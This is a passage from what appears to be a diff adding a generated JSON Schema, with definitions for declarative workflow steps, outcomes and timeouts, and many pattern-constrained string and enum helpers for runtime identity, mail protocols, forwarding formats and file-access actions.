Refs","type":"array"},"join":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Join","type":"string"},"max_attempts":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Max Attempts"},"next":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Next","type":"string"},"objective":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Objective","type":"string"},"on_exhausted":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"On Exhausted","type":"string"},"on_failure":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"On Failure","type":"string"},"on_success":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"On Success","type":"string"},"procedure_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Procedure Ref","type":"string"},"scaffold_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Scaffold Refs","type":"array"},"then":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Then","type":"string"},"tool_affordance_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Tool Affordance Refs","type":"array"},"type":{"$ref":"#/$defs/WorkflowStepType"},"when":{"anyOf":[{"$ref":"#/$defs/WorkflowPredicate"},{"type":"null"}],"default":null},"workflow":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Workflow","type":"string"}},"required":["type"],"title":"WorkflowStep","type":"object"}, + "WorkflowStepExecutionMode": {"description":"Authored realization boundary for an executable workflow step.","enum":["scripted","objective","scaffolded"],"title":"WorkflowStepExecutionMode","type":"string"}, + "WorkflowStepOutcome": {"description":"Portable workflow-visible outcomes emitted by executable steps.","enum":["succeeded","failed","exhausted"],"title":"WorkflowStepOutcome","type":"string"}, + "WorkflowStepStateRef": {"additionalProperties":false,"description":"Predicate reference to previously observed workflow step state.","properties":{"min_attempts":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Min Attempts"},"outcomes":{"items":{"$ref":"#/$defs/WorkflowStepOutcome"},"minItems":1,"title":"Outcomes","type":"array"},"step":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Step","type":"string"}},"required":["step","outcomes"],"title":"WorkflowStepStateRef","type":"object"}, + "WorkflowStepType": {"description":"Control-flow node types for declarative experiment workflows.","enum":["objective","decision","switch","parallel","join","retry","call","end"],"title":"WorkflowStepType","type":"string"}, + "WorkflowSwitchCase": {"additionalProperties":false,"description":"One ordered branch case within a ``switch`` workflow step.","properties":{"description":{"$ref":"#/$defs/_r53"},"next":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Next","type":"string"},"when":{"$ref":"#/$defs/WorkflowPredicate"}},"required":["when","next"],"title":"WorkflowSwitchCase","type":"object"}, + "WorkflowTimeoutPolicy": {"additionalProperties":false,"description":"Workflow-level timeout policy.","properties":{"seconds":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Seconds"}},"required":["seconds"],"title":"WorkflowTimeoutPolicy","type":"object"}, + "WorkloadAuthenticationMode": {"description":"Workload authentication posture at a shared-service boundary.","enum":["none","shared_credential","workload_identity","tenant_scoped_workload_identity"],"title":"WorkloadAuthenticationMode","type":"string"}, + "_r0": {"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"}, + "_r1": {"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"Name","type":"string"}, + "_r10": {"anyOf":[{"$ref":"#/$defs/RuntimeFileServiceAccessAction"},{"$ref":"#/$defs/_r149"}],"default":"other","title":"Action"}, + "_r100": {"items":{"$ref":"#/$defs/_r185"},"title":"Aliases","type":"array"}, + "_r101": {"items":{"$ref":"#/$defs/_r185"},"title":"Allow Groups","type":"array"}, + "_r102": {"items":{"$ref":"#/$defs/_r185"},"title":"Allow Users","type":"array"}, + "_r103": {"items":{"$ref":"#/$defs/_r185"},"title":"Allowed Clients","type":"array"}, + "_r104": {"items":{"$ref":"#/$defs/_r185"},"title":"Assertions","type":"array"}, + "_r105": {"items":{"$ref":"#/$defs/_r185"},"title":"Authentication Methods","type":"array"}, + "_r106": {"items":{"$ref":"#/$defs/_r185"},"title":"Backend Roles","type":"array"}, + "_r107": {"items":{"$ref":"#/$defs/_r185"},"title":"Command","type":"array"}, + "_r108": {"items":{"$ref":"#/$defs/_r185"},"title":"Configuration File Refs","type":"array"}, + "_r109": {"items":{"$ref":"#/$defs/_r185"},"title":"Deny Groups","type":"array"}, + "_r11": {"anyOf":[{"$ref":"#/$defs/RuntimeFilesystemStability"},{"$ref":"#/$defs/_r164"}],"default":"unknown","title":"Stability"}, + "_r110": {"items":{"$ref":"#/$defs/_r185"},"title":"Deny Users","type":"array"}, + "_r111": {"items":{"$ref":"#/$defs/_r185"},"title":"Dependencies","type":"array"}, + "_r112": {"items":{"$ref":"#/$defs/_r185"},"title":"Diagnostics","type":"array"}, + "_r113": {"items":{"$ref":"#/$defs/_r185"},"title":"Drop","type":"array"}, + "_r114": {"items":{"$ref":"#/$defs/_r185"},"title":"Effective","type":"array"}, + "_r115": {"items":{"$ref":"#/$defs/_r185"},"title":"Entrypoint","type":"array"}, + "_r116": {"items":{"$ref":"#/$defs/_r185"},"title":"Environment","type":"array"}, + "_r117": {"items":{"$ref":"#/$defs/_r185"},"title":"Events","type":"array"}, + "_r118": {"items":{"$ref":"#/$defs/_r185"},"title":"Evidence Refs","type":"array"}, + "_r119": {"items":{"$ref":"#/$defs/_r185"},"title":"File Refs","type":"array"}, + "_r12": {"anyOf":[{"$ref":"#/$defs/RuntimeForwardingEnrollmentClassification"},{"$ref":"#/$defs/_r157"}],"default":"none","title":"Enrollment Identity Classification"}, + "_r120": {"items":{"$ref":"#/$defs/_r185"},"title":"Groups","type":"array"}, + "_r121": {"items":{"$ref":"#/$defs/_r185"},"title":"Hosts","type":"array"}, + "_r122": {"items":{"$ref":"#/$defs/_r185"},"title":"Limitations","type":"array"}, + "_r123": {"items":{"$ref":"#/$defs/_r185"},"title":"Log File Refs","type":"array"}, + "_r124": {"items":{"$ref":"#/$defs/_r185"},"title":"Ordering Content Refs","type":"array"}, + "_r125": {"items":{"$ref":"#/$defs/_r185"},"title":"Ordering Dependencies","type":"array","uniqueItems":true}, + "_r126": {"items":{"$ref":"#/$defs/_r185"},"title":"Refresh Dependencies","type":"array","uniqueItems":true}, + "_r127": {"items":{"$ref":"#/$defs/_r185"},"title":"Scope Refs","type":"array"}, + "_r128": {"items":{"$ref":"#/$defs/_r185"},"title":"Tags","type":"array"}, + "_r129": {"items":{"$ref":"#/$defs/_r185"},"title":"Target Refs","type":"array"}, + "_r13": {"anyOf":[{"$ref":"#/$defs/RuntimeForwardingParseFormat"},{"$ref":"#/$defs/_r155"}],"default":"unknown","title":"Parse Format"}, + "_r130": {"maxLength":1024,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"type":"string"}, + "_r131": {"maxLength":128,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[A-Za-z0-9][A-Za-z0-9._+-]*$","title":"Revision","type":"string"}, + "_r132": {"maxLength":2048,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:https://[^\\s]+|urn:[A-Za-z0-9][A-Za-z0-9:._~-]*)$","title":"Semantic Ref","type":"string"}, + "_r133": {"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"type":"string"}, + "_r134": {"maxLength":4096,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:/(?:[^~/]|~[01])*)*$","title":"Scope","type":"string"}, + "_r135": {"maxLength":4096,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:/(?:[^~/]|~[01])*)*$","type":"string"}, + "_r136": {"maxLength":512,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-z0-9][a-z0-9_-]{0,63}(?:\\.[a-z0-9][a-z0-9_-]{0,63})*$","title":"Property","type":"string"}, + "_r137": {"maxProperties":1024,"minProperties":1,"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/ParticipantActivityActionCandidate"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Action Candidates","type":"object"}, + "_r138": {"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"\\S","type":"string"}, + "_r139": {"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Authority","type":"string"}, + "_r14": {"anyOf":[{"$ref":"#/$defs/RuntimeIdentityProvenance"},{"$ref":"#/$defs/_r151"}],"default":"unknown","title":"Provenance"}, + "_r140": {"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Clock Ref","type":"string"}, + "_r141": {"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Observation Boundary Ref","type":"string"}, + "_r142": {"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Participant Implementation Ref","type":"string"}, + "_r143": {"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Progression Policy Ref","type":"string"}, + "_r144": {"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Stochastic Control Ref","type":"string"}, + "_r145": {"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target Service Ref","type":"string"}, + "_r146": {"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"type":"string"}, + "_r147": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][gG][eE][nN][tT][-_][eE][vV][eE][nN][tT][-_][iI][nN][gG][eE][sS][tT][iI][oO][nN]|[aA][gG][eE][nN][tT][-_][eE][nN][rR][oO][lL][lL][mM][eE][nN][tT]|[sS][yY][sS][lL][oO][gG][-_][iI][nN][gG][eE][sS][tT][iI][oO][nN]|[aA][pP][iI]|[aA][lL][eE][rR][tT][-_][fF][oO][rR][wW][aA][rR][dD][iI][nN][gG]|[iI][nN][dD][eE][xX][eE][rR][-_][fF][oO][rR][wW][aA][rR][dD][iI][nN][gG]|[dD][aA][sS][hH][bB][oO][aA][rR][dD]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r148": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][xX][fF][rR]|[iI][xX][fF][rR]|[qQ][uU][eE][rR][yY]|[cC][oO][nN][fF][iI][gG][uU][rR][aA][tT][iI][oO][nN][-_][fF][iI][lL][eE]|[zZ][oO][nN][eE][-_][fF][iI][lL][eE]|[pP][rR][oO][vV][iI][dD][eE][rR][-_][aA][pP][iI]|[rR][uU][nN][tT][iI][mM][eE][-_][dD][eE][fF][aA][uU][lL][tT]|[oO][pP][eE][rR][aA][tT][oO][rR][-_][oO][vV][eE][rR][rR][iI][dD][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r149": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[bB][rR][oO][wW][sS][eE]|[lL][iI][sS][tT]|[rR][eE][aA][dD]|[wW][rR][iI][tT][eE]|[cC][rR][eE][aA][tT][eE]|[dD][eE][lL][eE][tT][eE]|[eE][xX][eE][cC][uU][tT][eE]|[aA][dD][mM][iI][nN][iI][sS][tT][eE][rR]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r15": {"anyOf":[{"$ref":"#/$defs/RuntimeIdentityRecordOrigin"},{"$ref":"#/$defs/_r150"}],"default":"unknown","title":"Origin"}, + "_r150": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[bB][uU][iI][lL][tT][-_][iI][nN]|[dD][iI][rR][eE][cC][tT][oO][rR][yY]|[sS][yY][nN][cC][hH][rR][oO][nN][iI][zZ][eE][dD]|[fF][eE][dD][eE][rR][aA][tT][eE][dD]|[pP][rR][oO][vV][iI][sS][iI][oO][nN][eE][dD]|[rR][uU][nN][tT][iI][mM][eE][-_][cC][rR][eE][aA][tT][eE][dD]|[oO][pP][eE][rR][aA][tT][oO][rR]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r151": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][mM][aA][gG][eE]|[pP][aA][cC][kK][aA][gG][eE]|[rR][uU][nN][tT][iI][mM][eE][-_][cC][rR][eE][aA][tT][eE][dD]|[oO][pP][eE][rR][aA][tT][oO][rR]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r152": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][nN][dD][eE][xX][-_][pP][aA][tT][tT][eE][rR][nN]|[cC][qQ][lL][-_][rR][eE][sS][oO][uU][rR][cC][eE]|[rR][eE][dD][iI][sS][-_][aA][cC][lL]|[aA][pP][pP][-_][rR][eE][sS][oO][uU][rR][cC][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r153": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][nN][tT][rR][oO][sS][pP][eE][cC][tT][iI][oO][nN]|[cC][oO][nN][fF][iI][gG][uU][rR][aA][tT][iI][oO][nN][-_][fF][iI][lL][eE]|[iI][mM][aA][gG][eE][-_][dD][eE][fF][aA][uU][lL][tT]|[oO][pP][eE][rR][aA][tT][oO][rR][-_][oO][vV][eE][rR][rR][iI][dD][eE]|[rR][uU][nN][tT][iI][mM][eE][-_][dD][eE][fF][aA][uU][lL][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r154": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][nN]|[cC][hH]|[hH][sS]|[nN][oO][nN][eE]|[aA][nN][yY]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r155": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[jJ][sS][oO][nN]|[sS][yY][sS][lL][oO][gG]|[eE][vV][eE][-_][jJ][sS][oO][nN]|[cC][eE][fF]|[lL][eE][eE][fF]|[cC][sS][vV]|[tT][eE][xX][tT]|[sS][tT][iI][xX]|[mM][iI][sS][pP][-_][jJ][sS][oO][nN]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r156": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[nN][oO][nN][eE]|[pP][lL][aA][iI][nN]|[lL][oO][gG][iI][nN]|[cC][rR][aA][mM][-_][mM][dD]5|[dD][iI][gG][eE][sS][tT][-_][mM][dD]5|[sS][cC][rR][aA][mM][-_][sS][hH][aA][-_]1|[sS][cC][rR][aA][mM][-_][sS][hH][aA][-_]256|[oO][aA][uU][tT][hH][bB][eE][aA][rR][eE][rR]|[eE][xX][tT][eE][rR][nN][aA][lL]|[aA][nN][oO][nN][yY][mM][oO][uU][sS]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r157": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[nN][oO][nN][eE]|[rR][eE][dD][aA][cC][tT][eE][dD]|[oO][pP][eE][rR][aA][tT][oO][rR][-_][sS][eE][cC][rR][eE][tT]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r158": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[nN][oO][nN][eE]|[sS][tT][aA][rR][tT][tT][lL][sS][-_][aA][vV][aA][iI][lL][aA][bB][lL][eE]|[sS][tT][aA][rR][tT][tT][lL][sS][-_][rR][eE][qQ][uU][iI][rR][eE][dD]|[iI][mM][pP][lL][iI][cC][iI][tT][-_][tT][lL][sS]|[tT][lL][sS][-_][tT][eE][rR][mM][iI][nN][aA][tT][eE][dD][-_][uU][pP][sS][tT][rR][eE][aA][mM]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r159": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][lL][aA][iI][nN]|[rR][eE][dD][aA][cC][tT][eE][dD]|[oO][pP][eE][rR][aA][tT][oO][rR][-_][sS][eE][cC][rR][eE][tT]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r16": {"anyOf":[{"$ref":"#/$defs/RuntimeMailAuthMechanism"},{"$ref":"#/$defs/_r156"}]}, + "_r160": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][lL][aA][iI][nN]|[rR][eE][dD][aA][cC][tT][eE][dD]|[sS][eE][cC][rR][eE][tT][-_][fF][iI][xX][tT][uU][rR][eE]|[oO][pP][eE][rR][aA][tT][oO][rR][-_][sS][eE][cC][rR][eE][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r161": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][cC][eE][nN][aA][rR][iI][oO]|[bB][uU][iI][lL][tT][-_][iI][nN]|[sS][yY][sS][tT][eE][mM]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r162": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][hH][aA][rR][eE][-_][cC][oO][nN][fF][iI][gG]|[pP][aA][sS][sS][dD][bB]|[fF][iI][lL][eE][sS][yY][sS][tT][eE][mM][-_][aA][cC][lL]|[dD][iI][rR][eE][cC][tT][oO][rR][yY][-_][pP][oO][lL][iI][cC][yY]|[oO][bB][sS][eE][rR][vV][eE][dD][-_][pP][rR][oO][bB][eE]|[cC][oO][mM][pP][uU][tT][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r163": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][mM][tT][pP]|[eE][sS][mM][tT][pP]|[sS][uU][bB][mM][iI][sS][sS][iI][oO][nN]|[sS][mM][tT][pP][sS]|[iI][mM][aA][pP]|[iI][mM][aA][pP][sS]|[pP][oO][pP]3|[pP][oO][pP]3[sS]|[lL][mM][tT][pP]|[sS][iI][eE][vV][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r164": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][tT][aA][bB][lL][eE]|[gG][eE][nN][eE][rR][aA][tT][eE][dD]|[lL][oO][gG]|[cC][aA][cC][hH][eE]|[rR][uU][nN][tT][iI][mM][eE][-_][cC][rR][eE][aA][tT][eE][dD]|[vV][oO][lL][uU][mM][eE][-_][bB][aA][cC][kK][eE][dD]|[tT][rR][aA][nN][sS][iI][eE][nN][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}, + "_r165": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:password|key|certificate|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$","type":"string"}, + "_r166": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^sha256:[a-f0-9]{64}$","title":"Digest","type":"string"}, + "_r167": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^sha256:[a-f0-9]{64}$","title":"Value","type":"string"}, + "_r168": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Address","type":"string"}, + "_r169": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Clock Ref","type":"string"}, + "_r17": 